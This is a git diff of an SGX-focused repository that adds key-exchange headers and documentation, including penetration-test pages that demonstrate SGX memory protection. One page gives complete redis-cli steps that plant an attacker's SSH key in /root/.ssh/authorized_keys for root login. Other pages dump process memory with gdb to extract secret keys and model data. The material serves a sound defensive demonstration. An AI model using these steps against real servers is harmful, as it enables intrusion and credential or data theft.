+int se_thread_cond_wait(se_cond_t *cond, se_mutex_t *mutex);
+int se_thread_cond_signal(se_cond_t *cond);
+int se_thread_cond_broadcast(se_cond_t *cond);
+int se_thread_cond_destroy(se_cond_t* cond);
+
+unsigned int se_get_threadid(void);
+
+/* tls functions */
+int se_tls_alloc(se_tls_index_t *tls_index);
+int se_tls_free(se_tls_index_t tls_index);
+void * se_tls_get_value(se_tls_index_t tls_index);
+int se_tls_set_value(se_tls_index_t tls_index, void *tls_value);
+
+/* se_thread_handle_t se_create_thread(size_t stack_size, thread_start_routine_t start_routine, void *param, se_thread_t* thread); */
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/se_types.h b/cczoo/machine_binding_key_backup/include/key_exchange/se_types.h
new file mode 100644
index 00000000..20e315d2
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/key_exchange/se_types.h
@@ -0,0 +1,80 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+/*
+ * This file is to define some types that is platform independent.
+*/
+
+#ifndef _SE_TYPE_H_
+#define _SE_TYPE_H_
+#include "se_cdefs.h"
+
+#ifdef SE_DRIVER
+
+typedef INT8 int8_t;
+typedef UINT8 uint8_t;
+typedef INT16 int16_t;
+typedef UINT16 uint16_t;
+typedef INT32 int32_t;
+typedef UINT32 uint32_t;
+typedef INT64 int64_t;
+typedef UINT64 uint64_t;
+
+#else
+
+#include
+#include
+
+#ifndef TRUE
+#define TRUE 1
+#endif
+
+#ifndef FALSE
+#define FALSE 0
+#endif
+
+#endif
+
+#if defined(SE_64)
+
+#define PADDED_POINTER(t, p) t* p
+#define PADDED_DWORD(d) uint64_t d
+#define PADDED_LONG(l) int64_t l
+#define REG(name) r##name
+#ifdef SE_SIM_EXCEPTION
+#define REG_ALIAS(name) R##name
+#endif
+#define REGISTER(name) uint64_t REG(name)
+
+#else /* !defined(SE_64) */
+
+#define PADDED_POINTER(t, p) t* p; void* ___##p##_pad_to64_bit
+#define PADDED_DWORD(d) uint32_t d; uint32_t ___##d##_pad_to64_bit
+#define PADDED_LONG(l) int32_t l; int32_t ___##l##_pad_to64_bit
+
+#define REG(name) e##name
+
+#ifdef SE_SIM_EXCEPTION
+#define REG_ALIAS(name) E##name
+#endif
+
+#define REGISTER(name) uint32_t REG(name); uint32_t ___##e##name##_pad_to64_bit
+
+#endif /* !defined(SE_64) */
+
+#endif
diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/se_version.h b/cczoo/machine_binding_key_backup/include/key_exchange/se_version.h
new file mode 100644
index 00000000..d000e485
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/key_exchange/se_version.h
@@ -0,0 +1,38 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef _SE_VERSION_H_
+#define _SE_VERSION_H_
+
+#define STRFILEVER "2.15.101.1"
+#define SGX_MAJOR_VERSION 2
+#define SGX_MINOR_VERSION 15
+#define SGX_REVISION_VERSION 101
+#define MAKE_VERSION_UINT(major,minor,rev) (((uint64_t)major)<<32 | ((uint64_t)minor) << 16 | rev)
+#define VERSION_UINT MAKE_VERSION_UINT(SGX_MAJOR_VERSION, SGX_MINOR_VERSION, SGX_REVISION_VERSION)
+
+#define COPYRIGHT "Copyright (C) 2021 Intel Corporation"
+
+#define UAE_SERVICE_VERSION "2.3.213.1"
+#define URTS_VERSION "1.1.117.1"
+#define ENCLAVE_COMMON_VERSION "1.1.120.1"
+#define LAUNCH_VERSION "1.0.115.1"
+#define EPID_VERSION "1.0.115.1"
+#define QUOTE_EX_VERSION "1.1.115.1"
+
+#endif
diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/sgx_key_exchange.h b/cczoo/machine_binding_key_backup/include/key_exchange/sgx_key_exchange.h
new file mode 100644
index 00000000..58fce94d
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/key_exchange/sgx_key_exchange.h
@@ -0,0 +1,76 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef _SGX_KEY_EXCHANGE_H_
+#define _SGX_KEY_EXCHANGE_H_
+
+#include
+#include "sgx_quote.h"
+#include "sgx_ecp_types.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct _ps_sec_prop_desc
+{
+ uint8_t sgx_ps_sec_prop_desc[256];
+} sgx_ps_sec_prop_desc_t;
+
+typedef uint32_t sgx_ra_context_t;
+
+typedef sgx_key_128bit_t sgx_ra_key_128_t;
+
+typedef enum _ra_key_type_t
+{
+ SGX_RA_KEY_SK = 1,
+ SGX_RA_KEY_MK,
+} sgx_ra_key_type_t;
+
+typedef struct _ra_msg1_t
+{
+ sgx_ec256_public_t g_a; /* the Endian-ness of Ga is Little-Endian */
+ sgx_epid_group_id_t gid; /* the Endian-ness of GID is Little-Endian */
+} sgx_ra_msg1_t;
+
+
+typedef struct _ra_msg2_t
+{
+ sgx_ec256_public_t g_b; /* the Endian-ness of Gb is Little-Endian */
+ sgx_spid_t spid;
+ uint16_t quote_type; /* unlinkable Quote(0) or linkable Quote(1) in little endian*/
+ uint16_t kdf_id; /* key derivation function id in little endian. */
+ sgx_ec256_signature_t sign_gb_ga; /* In little endian */
+ sgx_mac_t mac; /* mac_smk(g_b||spid||quote_type||kdf_id||sign_gb_ga) */
+ uint32_t sig_rl_size;
+ uint8_t sig_rl[];
+} sgx_ra_msg2_t;
+
+typedef struct _ra_msg3_t
+{
+ sgx_mac_t mac; /* mac_smk(g_a||ps_sec_prop||quote) */
+ sgx_ec256_public_t g_a; /* the Endian-ness of Ga is Little-Endian */
+ sgx_ps_sec_prop_desc_t ps_sec_prop; /* reserved Must be 0 */
+ uint8_t quote[];
+} sgx_ra_msg3_t;
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/uncopyable.h b/cczoo/machine_binding_key_backup/include/key_exchange/uncopyable.h
new file mode 100644
index 00000000..28c50b12
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/key_exchange/uncopyable.h
@@ -0,0 +1,34 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef _UNCOPYABLE_H_
+#define _UNCOPYABLE_H_
+
+/* Similiar to boost::noncopyable */
+class Uncopyable {
+protected:
+ Uncopyable() {}
+ ~Uncopyable() {}
+
+private:
+ /* Disable copying */
+ Uncopyable(const Uncopyable&);
+ Uncopyable& operator=(const Uncopyable&);
+};
+
+#endif
diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/util.h b/cczoo/machine_binding_key_backup/include/key_exchange/util.h
new file mode 100644
index 00000000..d170e87d
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/key_exchange/util.h
@@ -0,0 +1,71 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef _UTIL_H_
+#define _UTIL_H_
+
+#include "arch.h"
+#include
+
+#ifdef __cplusplus
+#define GET_PTR(t, p, offset) reinterpret_cast( reinterpret_cast(p) + static_cast(offset) )
+#define PTR_DIFF(p1, p2) ((reinterpret_cast(p1) - reinterpret_cast(p2)))
+#else
+#define GET_PTR(t, p, offset) (t*)( (size_t)(p) + (size_t)(offset) )
+#define PTR_DIFF(p1, p2) ((size_t)(p1) - (size_t)(p2))
+#endif
+
+#define DIFF(p1, p2) (assert((size_t)(p1) >= (size_t)(p2)), ((size_t)(p1) - (size_t)(p2)))
+#define DIFF64(p1, p2) (assert((uint64_t)(p1) >= (uint64_t)(p2)), ((uint64_t)(p1) - (uint64_t)(p2)))
+
+#define SE_PAGE_SHIFT 12
+#define SE_BULK_PAGE_FRAME_SHIFT 4
+#define SE_BULK_PAGE_FRAME_SIZE (1 << SE_BULK_PAGE_FRAME_SHIFT)
+#define SE_BULK_PAGE_FRAME_MASK (SE_BULK_PAGE_FRAME_SIZE-1)
+#define SE_BULK_PAGE_SHIFT (SE_PAGE_SHIFT + SE_BULK_PAGE_FRAME_SHIFT)
+#define SE_BULK_PAGE_SIZE (1 << SE_BULK_PAGE_SHIFT)
+#define SE_GUARD_PAGE_SHIFT 16
+#define SE_GUARD_PAGE_SIZE (1 << SE_GUARD_PAGE_SHIFT)
+
+#define ROUND_TO(x, align) (((x) + ((align)-1)) & ~((align)-1))
+#define ROUND_TO_PAGE(x) ROUND_TO(x, SE_PAGE_SIZE)
+#define TRIM_TO_PAGE(x) ((x) & ~(SE_PAGE_SIZE-1))
+#define PAGE_OFFSET(x) ((x) & (SE_PAGE_SIZE -1))
+#ifdef __cplusplus
+#define PAGE_ALIGN(t, x) reinterpret_cast((reinterpret_cast(x)+(SE_PAGE_SIZE-1)) & (~(SE_PAGE_SIZE-1)))
+#else
+#define PAGE_ALIGN(t, x) (t*)( ((size_t)(x)+(SE_PAGE_SIZE-1)) & (~(SE_PAGE_SIZE-1)) )
+#endif
+
+#define IS_PAGE_ALIGNED(x) (!((size_t)(x)&(SE_PAGE_SIZE-1)))
+
+#define MIN(x, y) (((x)>(y))?(y):(x))
+#define MAX(x, y) (((x)>(y))?(x):(y))
+#define ARRAY_LENGTH(x) (sizeof(x)/sizeof(x[0]))
+
+/* used to eliminate `unused variable' warning */
+#define UNUSED(val) (void)(val)
+
+#include
+#define container_of(ptr, type, member) (type *)( (char *)(ptr) - offsetof(type,member) )
+
+#ifndef weak_alias
+#define weak_alias(_old, _new) __typeof(_old) _new __attribute__((weak, alias(#_old)))
+#endif
+
+#endif
diff --git a/cczoo/machine_binding_key_backup/include/log_utils.h b/cczoo/machine_binding_key_backup/include/log_utils.h
new file mode 100644
index 00000000..c58163c9
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/log_utils.h
@@ -0,0 +1,67 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef _LOG_UTILS_H
+#define _LOG_UTILS_H
+
+#include
+#include
+
+#define IS_DEBUG false
+
+/*
+ print info
+*/
+#define log_i(format, args...) \
+ { \
+ printf("INFO [%s(%d) -> %s]: ", __FILE__, __LINE__, __FUNCTION__); \
+ printf(format, ##args); \
+ printf("\n"); \
+ }
+/*
+ print debug
+*/
+#define log_d(format, args...) \
+ { \
+ if (IS_DEBUG) \
+ { \
+ printf("DEBUG [%s(%d) -> %s]: ", __FILE__, __LINE__, __FUNCTION__); \
+ printf(format, ##args); \
+ printf("\n"); \
+ } \
+ }
+/*
+ print warn
+*/
+#define log_w(format, args...) \
+ { \
+ printf("WARN [%s(%d) -> %s]: ", __FILE__, __LINE__, __FUNCTION__); \
+ printf(format, ##args); \
+ printf("\n"); \
+ }
+/*
+ print error
+*/
+#define log_e(format, args...) \
+ { \
+ printf("ERROR [%s(%d) -> %s]: ", __FILE__, __LINE__, __FUNCTION__); \
+ printf(format, ##args); \
+ printf("\n"); \
+ }
+
+#endif
\ No newline at end of file
diff --git a/cczoo/machine_binding_key_backup/rkeyserver/App/CacheController.cpp b/cczoo/machine_binding_key_backup/rkeyserver/App/CacheController.cpp
new file mode 100644
index 00000000..fcb62c60
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/rkeyserver/App/CacheController.cpp
@@ -0,0 +1,175 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "CacheController.h"
+
+#include
+#include
+#include
diff --git a/documents/readthedoc/docs/source/Pentests/Overview.md b/documents/readthedoc/docs/source/Pentests/Overview.md
new file mode 100644
index 00000000..ebbfec66
--- /dev/null
+++ b/documents/readthedoc/docs/source/Pentests/Overview.md
@@ -0,0 +1,49 @@
+# Penetration Testing Overview
+
+## Introduction
+
+This penetration testing aims to show how SGX protects the runtime confidentiality of applications while sufferring privileged malware memory attacks.
+
+CCZoo penetration test provides two types test cases: unauthorized access and data theft(memory attack).
+
+Unauthorized access is to gain server privileges through unauthorized access, such as implanting privileged backdoors and obtaining privileged shells.
+
+Data theft is to verify the memory confidentiality of SGX runtime, memory attacks will be performed on high-value data applications through privileged applications or shells to steal their runtime memory data.
+
+## Test Cases Overview
+
+1. Unauthorized Access:
+
+ - Redis
+
+ When a hacker accesses Redis without password protection running as root, hacker's ssh public key can be written into the target server `/root/.ssh/authotrized_keys` file, and then the target server can be directly logged in through hacker's Private key.
+
+ 
+
+ Please refer to [redis/index.html](https://cczoo.readthedocs.io/en/latest/Pentests/unauthorized_access/redis/index.html) for detail.
+
+2. Memory Attack:
+
+ - Key Generator
+
+ This application is generating keys in memory and implemented based on the Intel SGX SDK.
+
+ It will use the same source code to compile SGX applications and non-SGX applications, and perform memory attacks on them to verify the confidentiality of SGX runtime memory.
+
+ 
+
+ Please refer to [key_generator/index.html](https://cczoo.readthedocs.io/en/latest/Pentests/memory_attack/sgx/key_generator/index.html) for detail.
+
+ - Confidential Inference
+
+ In the traditional AI inference workflow, it usually faces security risks of models and user data.
+
+ Developers usually adopt model encryption and TLS network transmission methods to solve data security risks in AI inference workflow.
+
+ Although the above two security methods can solve the data security issues in the storage and transmission process, there are still data security risks in this workflow, and hackers can get model and user data through memory attacks.
+
+ In the following demo, we will conduct attack simulation and security verification to demonstrate the effectiveness and limitations of the above security methods, and use intel SGX technology to prevent data theft through memory attacks, so as to achieve all-round (model storage, data network transport, inference service runtime) to protect the purpose of AI inference workflow.
+
+ 
+
+ Please refer to [confidential_inference/index.html](https://cczoo.readthedocs.io/en/latest/Pentests/memory_attack/sgx/confidential_inference/index.html) for detail.
diff --git a/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/confidential_inference/confidential_inference.svg b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/confidential_inference/confidential_inference.svg
new file mode 100644
index 00000000..eec30f48
--- /dev/null
+++ b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/confidential_inference/confidential_inference.svg
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/confidential_inference/index.md b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/confidential_inference/index.md
new file mode 100644
index 00000000..2e20872c
--- /dev/null
+++ b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/confidential_inference/index.md
@@ -0,0 +1,289 @@
+# Confidential Inference
+
+## Introduction
+
+In the traditional AI inference workflow, it usually faces security risks of models and user data.
+
+Developers usually adopt model encryption and TLS network transmission methods to solve data security risks in AI inference workflow.
+
+Although the above two security methods can solve the data security issues in the storage and transmission process, there are still data security risks in this workflow, and hackers can get model and user data through memory attacks.
+
+In the following demo, we will conduct attack simulation and security verification to demonstrate the effectiveness and limitations of the above security methods, and use intel SGX technology to prevent data theft through memory attacks, so as to achieve all-round (model storage, data network transport, inference service runtime) to protect the purpose of AI inference workflow.
+
+The participants of the AI inference workflow are divided into the following four roles: `Model Distributor`, `inf Server`, `inf Client` and `Hacker`.
+
+
+
+---
+
+## Setup Environment
+
+1. Build docker image
+
+ ```
+ image=confidential-inference:graminev1.2-ubuntu20.04-latest
+ build_docker_image.sh ${image}
+ ```
+
+2. Start container
+
+ ```
+ ./start_container.sh ${image}
+ ```
+
+ It will create the following containers for the above 4 roles respectively:
+ - `model-distributor` container for `Model Distributor`
+ - `inf-client` container for `inf Client`
+ - `inf-server` container for `inf Server`
+ - `inf-server` container for `Hacker`
+
+---
+
+## Encrypt and Transfer Model
+
+1. `Model Distributor` encrypt model in `model-distributor` container.
+
+ Encryption algorithm:
+
+ AES in CBC mode with a 128-bit key for encryption; using PKCS7 padding. HMAC using SHA256 for authentication.
+
+ Encrypt model with password:
+
+ ```
+ python3 /models.py
+ ```
+
+ Get outputs:
+
+ ```
+ Save data to /resnet50.encrypt.pkl
+
+ Weights data: [ mem_dump_nosgx.log
+
+ grep -n "AAAQQgAAVEIAAJJCAAAoQgAAXEIAAJRCAAAUQgAAREIAAHxCAAAUQgAAPE" mem_dump_nosgx.log | cut -c 1-70
+
+ cat mem_dump_nosgx.log | tail -n +`grep -n 'shape=(7, 7, 3, 64) dtype=float32' mem_dump_nosgx.log | awk -F: '{print $1}'` | head -n 17
+ ```
+
+ The hacker gets the plain image and model:
+
+ ```
+ 2033125:AAAQQgAAVEIAAJJCAAAoQgAAXEIAAJRCAAAUQgAAREIAAHxCAAAUQgAAPEIAAGRCAAAIQgAALEIAAFBCAACgQQAA0EEAABhCAADAQQAA2EEAADhCAADAQQAA2EEAAChCAAC4QQAA6EEAAC
+
+ [ mem_dump_sgx.log
+
+ grep -n "AAAQQgAAVEIAAJJCAAAoQgAAXEIAAJRCAAAUQgAAREIAAHxCAAAUQgAAPE" mem_dump_sgx.log | cut -c 1-70
+
+ cat mem_dump_sgx.log | tail -n +`grep -n 'shape=(7, 7, 3, 64) dtype=float32' mem_dump_sgx.log | awk -F: '{print $1}'` | head -n 17
+ ```
+
+ The hacker can not get the plain image and model. `Intel SGX` can effectively protect the memory safety of inference service runtime.
+
+This confidential inference service protects the security of models and user data in an all-round way through model encrypted storage, data TLS network transmission and SGX protection of runtime memory.
+
diff --git a/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/key_generator/index.md b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/key_generator/index.md
new file mode 100644
index 00000000..144d1082
--- /dev/null
+++ b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/key_generator/index.md
@@ -0,0 +1,61 @@
+# Key Generator Application Memory Attack
+
+## Introduction
+
+This application is generating keys in memory and implemented based on the Intel SGX SDK.
+
+It will use the same source code to compile SGX applications and non-SGX applications, and perform memory attacks on them to verify the confidentiality of SGX runtime memory.
+
+
+
+## Application Deployment
+
+1. Install Intel(R) Software Guard Extensions (Intel(R) SGX) SDK for Linux* OS.
+
+2. Make sure your environment is set:
+ ```
+ source ${sgx-sdk-install-path}/environment
+ ```
+
+3. Build application:
+
+ - Without Intel SGX Memory Protection
+ ```
+ make clean
+ make SGX_MODE=SIM SGX_DEBUG=0
+ ```
+
+ - With Intel SGX Memory Protection
+ ```
+ make clean
+ make SGX_DEBUG=0
+ ```
+
+4. Execute the binary directly:
+
+ ```
+ ./app
+ ```
+
+## Hacker Memory Attack
+
+1. Dump app's memory via gdb:
+ ```
+ rm -rf core.*
+ gdb -ex "generate-core-file" -ex "quit" -p `pgrep -f app`
+ ```
+
+2. Parse and find key in dumped file:
+ ```
+ strings ./core.* | grep -n Secret_Key
+ ```
+
+ Corresponding output:
+
+ - Without Intel SGX Memory Protection
+ ```
+ 1233:Secret_Key:uLhtfhrxoxTPwQdquZTtKhJcigdJTrHzJTaKBewwwiGhGuEXqNnjuRTfnapTMTAwWJsKMIveISmIVmllxCxHsjPHldjadgqIrreXAwkxMHRCwcOLchYpjKrRlyZIVDAp
+ ```
+ - Intel SGX Memory Protection
+
+ None output.
\ No newline at end of file
diff --git a/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/key_generator/key_generator.svg b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/key_generator/key_generator.svg
new file mode 100644
index 00000000..a39fc4dc
--- /dev/null
+++ b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/key_generator/key_generator.svg
@@ -0,0 +1,3 @@
+
+
+
\ No newline at end of file
diff --git a/documents/readthedoc/docs/source/Pentests/readsecret.md b/documents/readthedoc/docs/source/Pentests/readsecret.md
deleted file mode 100644
index ec2742ec..00000000
--- a/documents/readthedoc/docs/source/Pentests/readsecret.md
+++ /dev/null
@@ -1,3 +0,0 @@
-Read Secret
-===========
-
diff --git a/documents/readthedoc/docs/source/Pentests/unauthorized_access/redis/index.md b/documents/readthedoc/docs/source/Pentests/unauthorized_access/redis/index.md
new file mode 100644
index 00000000..622a485e
--- /dev/null
+++ b/documents/readthedoc/docs/source/Pentests/unauthorized_access/redis/index.md
@@ -0,0 +1,86 @@
+# Redis Unauthorized Access
+
+## Introduction
+
+[Redis](https://redis.io/docs/about/) is a data structure server. At its core, Redis provides a collection of native data types that help you solve a wide variety of problems, from caching to queuing to event processing.
+
+Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket.
+
+Unfortunately, many users fail to protect Redis instances from being accessed from external networks.
+
+When a hacker accesses Redis without password protection running as root, hacker's ssh public key can be written into the target server `/root/.ssh/authotrized_keys` file, and then the target server can be directly logged in through hacker's Private key.
+
+
+
+## Server Deployment
+
+1. Watch `/root/.ssh/authorized_keys` file
+ ```
+ watch -n 1 cat /root/.ssh/authorized_keys
+ ```
+
+2. Get server ip
+ ```
+ ifconfig | grep inet
+ ```
+
+3. Install redis-server
+ ```
+ apt-get install redis-server
+ ```
+
+4. Start redis-server
+ ```
+ # check ip
+ ifconfig | grep inet
+
+ # start redis-server
+ redis-server --port 7777 --protected-mode no
+ ```
+
+## Hacker Attack
+
+1. Generate ssh key and certificate
+
+ hacker generate key to `/root/.ssh/id_rsa` and generate certificate to `/root/.ssh/id_rsa.pub`.
+
+ ```
+ ssh-keygen -t rsa
+ cat /root/.ssh/id_rsa
+ cat /root/.ssh/id_rsa.pub
+ ```
+
+2. Test remote ssh
+
+ After checking, it is found that ssh login to the remote server requests a password, but hacker does not have a corresponding password.
+ ```
+ ssh root@${remote_server}
+ ```
+
+3. Start attack
+
+ Use `redis-cli` to connect with `redis-server`:
+
+ ```
+ redis-cli -p 7777 -h ${remote_server}
+ ```
+
+ Write local `/root/.ssh/id_rsa.pub` to remote `/root/.ssh/authorized_keys`
+
+ ```
+ config set dir /root/.ssh
+ config set dbfilename authorized_keys
+ set xxxx "\n\nssh-rsa key_pub\n\n"
+ get xxxx
+ save
+ exit
+ ```
+
+ The `ssh-rsa key_pub` is string of file `/root/.ssh/id_rsa.pub`.
+
+4. Test remote ssh
+
+ After checking, it is found that ssh does not require a password when logging into the remote server.
+ ```
+ ssh root@${remote_server}
+ ```
diff --git a/documents/readthedoc/docs/source/Pentests/unauthorized_access/redis/redis.svg b/documents/readthedoc/docs/source/Pentests/unauthorized_access/redis/redis.svg
new file mode 100644
index 00000000..79c4af64
--- /dev/null
+++ b/documents/readthedoc/docs/source/Pentests/unauthorized_access/redis/redis.svg
@@ -0,0 +1,3 @@
+
+
+
\ No newline at end of file
diff --git a/documents/readthedoc/docs/source/Solutions/httpa/img/1-preflight.png b/documents/readthedoc/docs/source/Solutions/httpa/img/1-preflight.png
new file mode 100755
index 00000000..e85acc90
Binary files /dev/null and b/documents/readthedoc/docs/source/Solutions/httpa/img/1-preflight.png differ
diff --git a/documents/readthedoc/docs/source/Solutions/httpa/img/2-AtHS.png b/documents/readthedoc/docs/source/Solutions/httpa/img/2-AtHS.png
new file mode 100755
index 00000000..89086f91
Binary files /dev/null and b/documents/readthedoc/docs/source/Solutions/httpa/img/2-AtHS.png differ
diff --git a/documents/readthedoc/docs/source/Solutions/httpa/img/3-AtSP.png b/documents/readthedoc/docs/source/Solutions/httpa/img/3-AtSP.png
new file mode 100755
index 00000000..162f0689
Binary files /dev/null and b/documents/readthedoc/docs/source/Solutions/httpa/img/3-AtSP.png differ
diff --git a/documents/readthedoc/docs/source/Solutions/httpa/img/4-TrT.png b/documents/readthedoc/docs/source/Solutions/httpa/img/4-TrT.png
new file mode 100755
index 00000000..b5190a02
Binary files /dev/null and b/documents/readthedoc/docs/source/Solutions/httpa/img/4-TrT.png differ
diff --git a/documents/readthedoc/docs/source/Solutions/httpa/index.md b/documents/readthedoc/docs/source/Solutions/httpa/index.md
new file mode 100644
index 00000000..6236fe73
--- /dev/null
+++ b/documents/readthedoc/docs/source/Solutions/httpa/index.md
@@ -0,0 +1,28 @@
+# HTTP-Attestable (HTTPA/2)
+
+## Introduction
+
+Hypertext Transfer Protocol Attestable (HTTPA) is a layer 7 (L7) of the OSI model that augments existing security mechanisms to enable end-to-end trust between HTTP endpoints. HTTPA aims for two purposes. First, help perform remote attestation on the web application running inside the TEE in which the flow can be unilateral (one-way HTTPA) or bilateral (mutual HTTPA) by verifying attestation evidence with a verifier such as a trusted authority (TA). Second, help build secure communication directly with the web application at L7 running inside the TEE. Even though middleboxes may terminate TLS, the secrets of HTTP messages are still protected by HTTPA until reaching the TEE. That is, HTTPA is compatible with most in-network processing of the modern cloud infrastructure for protecting HTTP messages. The HTTPA protocol enhances security with remote attestation using TEE and realized L7 end-to-end secure communication so that the identity of execution software/hardware, message confidentiality, and message integrity are protected with strong assurances. In HTTPA, we can allow visitors to verify and select trustworthy services to use. Visitors will be no longer bound to the loose granularity of trust for the website, and they can enjoy benefits from the finer granularity of trust from a specific web application.
+
+## TEE as root of trust
+
+The trusted execution environment (TEE) is the assumption of HTTPA in which a web service can attest itself to the remote relying party and build secure communication from the TEE endpoint directly to the remote endpoint. The whole process can be built unilaterally (one-way HTTPA) or bilaterally (mutual HTTPA) with remote attestation. Different from HTTPS using a certificate authority (CA), HTTPA assumes TA for identifying verification over measurements from both software and hardware.
+
+
+## HTTPA workflow
+HTTPA proposes a new method to the HTTP family of methods called HTTP ATTEST or ATTEST in order to ensure things will execute as expected. Working with HTTP ATTEST, a set of new HTTP header lines are introduced to establish the workflow for remote attestation and secure communication in combination to be trusted communication. The workflow includes four transactions, preflight transaction, attest handshake (AtHS) transaction, Attest secret provisioning (AtSP) transaction, and trusted transaction (TrT) as follows. For more details, please check the link to [Internet-Draft](https://www.ietf.org/archive/id/draft-sandowicz-httpbis-httpa2-01.html) or [HTTPA/2 white paper](https://arxiv.org/pdf/2205.01052.pdf).
+
+### **Preflight Transaction:**
+
+
+### **Attest Handshake Transaction (AtHS):**
+
+
+### **Attest Secret Provisioning (AtSP):**
+
+
+### **Trusted Transaction (TrT):**
+
+
+## HTTPA PoC
+It is done but in internal review and pending on approval ......
diff --git a/documents/readthedoc/docs/source/Solutions/psi/PSI.md b/documents/readthedoc/docs/source/Solutions/psi/PSI.md
index 8eb50a12..198da0b1 100644
--- a/documents/readthedoc/docs/source/Solutions/psi/PSI.md
+++ b/documents/readthedoc/docs/source/Solutions/psi/PSI.md
@@ -1,19 +1,19 @@
# Private Set Intersection (PSI) with Intel SGX
## Introduction
-Private Set Intersection (PSI) is an application hotspot of multi-party secure computing. Its purpose is to calculate the intersection between the two parties through a secure scheme without exposing other information beyond the intersection.
+Private Set Intersection (PSI) is an application hotspot of multi-party secure computing. Its purpose is to calculate the intersection between the two parties through a secure scheme without exposing other information beyond the intersection.
There are many implementations of PSI, some of which are based on cryptographic algorithms, such as the RSA algorithm. However, the methods based on cryptography usually have problems such as slow intersection speed, complicated algorithm leads to high memory usage, and do not support multi-party intersection.
In this Private Set Intersection solution, we adopted a privacy protection computing solution based on Intel SGX technology.
